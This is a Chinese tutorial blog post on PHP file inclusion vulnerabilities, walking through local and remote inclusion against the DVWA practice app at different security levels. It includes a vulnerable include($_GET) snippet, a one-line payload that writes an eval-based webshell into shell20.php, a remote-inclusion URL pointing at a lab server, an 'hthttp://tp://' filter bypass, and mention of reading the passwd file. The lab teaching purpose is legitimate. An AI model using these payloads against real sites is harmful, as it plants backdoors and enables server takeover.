当前位置:   article > 正文

Web安全-文件包含漏洞

Web安全-文件包含漏洞
一. 什么是文件包含漏洞

开发人员通常会把重复可用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程一般称为包含。攻击者利用这种包含的特性,加上应用本身对文件控制不严,对include进来的文件不可控,最终造成了攻击者进行恶意文件包含。

二. 引发文件包含漏洞的4个参数

1、include() 当使用该函数包含文件时,只有代码执行到 include() 函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。
2、include_once() 功能和 include() 相同,区别在于当重复调用同一文件时,程序只调用一次。
3、require() 只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行。
4、require_once() 它的功能与 require() 相同,区别在于当重复调用同一文件时,程序只调用一次。
include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
当使用这四个函数包含一个新文件时,该文件将作为 PHP 代码执行,php 内核并不在意该被包含的文件是什么类型。所以如果被包含的是 txt 文件、图片文件、远程 url、也都将作为 PHP 代码执行。

三、文件包含漏洞的分类

(1)本地文件包含 :LFI
当被包含的文件在服务器本地时,就叫本地文件包含。
(2)远程文件包含:RFI
当被包含的文件再远程服务器时,就叫远程文件包含。相对来说远程文件包含更容易进行攻击,但是前提条件是需要开启php.ini 中的allow_url_fopen 和 allow_url_include来允许远程文件包含。
在这里插入图片描述

四、文件包含漏洞的原理

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
示例代码

五、文件包含示例
<?php
    $filename  = $_GET['filename'];
    include($filename);
?>
  • 1
  • 2
  • 3
  • 4

G E T [ ′ f i l e n a m e ′ ] 参 数 开 发 者 没 有 经 过 严 格 的 过 滤 , 直 接 带 入 了 i n c l u d e 的 函 数 , 攻 击 者 可 以 修 改 _GET['filename']参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改 GET[filename]include_GET[‘filename’]的值,执行非预期的操作。
举例:
在这里插入图片描述
正常情况下,我们是访问index.php这个主页,但是我们可以通过以下方式进行文件包含
在这里插入图片描述
使用上图的方式,主页就包含y.txt的代码
A:低安全级别文件包含漏洞**
在这里插入图片描述
在这里插入图片描述
两个图中的page是对应的,page后面的文件里可以是一句话木马。
2、
在这里插入图片描述
执行上图中的1,表示会执行本地包含的passwd文件,执行上图中的2表示会远程执行romote sever上的一句话,这句话的目的是生成一句话木马shell.php文件。

具体实现方式见下面所示:
a:制作一句话木马,如yangge.jpg

<?fputs(fopen("shell20.php","w"),'<?php eval($_POST[yangge]);?>')?>
  • 1

b:上传图片木马文件
c:执行文件包含并生成后门
d:通过菜刀连接webshell
制作一句话木马的方式:
(1)将dzq2.jpg图片文件拖到edjpgcpm.exe文件里面
(2)按照图片编辑一句话木马
在这里插入图片描述
(3)将带有木马的图片上传上去
在这里插入图片描述
在这里插入图片描述
(4)浏览器执行已经上传的图片
在这里插入图片描述
(5)步骤4执行完成以后会生成一个shell20.php的文件,然后就可以用菜刀工具打开进行操作了

3、远程文件包含
(1)得到一个远程服务器192.168.106.177,在服务器上创建一个文件,文件名:yangge.txt,文件内容

<?fputs(fopen("shell20.php","w"),'<?php eval($_POST[yangge]);?>')?>
  • 1

在这里插入图片描述
(2)在本地打开:http://192.168.106.134/dvwa/valnerablities/fi/?page=http://192.168.106.177/yangge.txt
在这里插入图片描述
中安全级别文件包含漏洞
1.源码示例
在这里插入图片描述
这种限制对本地文件包含是没有影响的。限制的目的是将url中的http://去掉,禁止了远程文件包含,所以按照上面低安全级别的步骤进行操作是不能达到目的的。但是我们可以绕过这个限制:
2.绕过方式
(1)http://192.168.106.134/dvwa/valnerablities/fi/page=httphttp://: //192.168.106.177/yangge.txt
这里替换到一个http://以后还有一个http://
以此类推,我们可以使用hthttp://tp:// http://http://等方式

高安全级别漏洞

  1. 源码示例
    在这里插入图片描述
    上图源码含义就是只能使用include.php文件,这种情况下就没有文件包含漏洞问题了
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小蓝xlanll/article/detail/309066
推荐阅读
相关标签
  

闽ICP备14008679号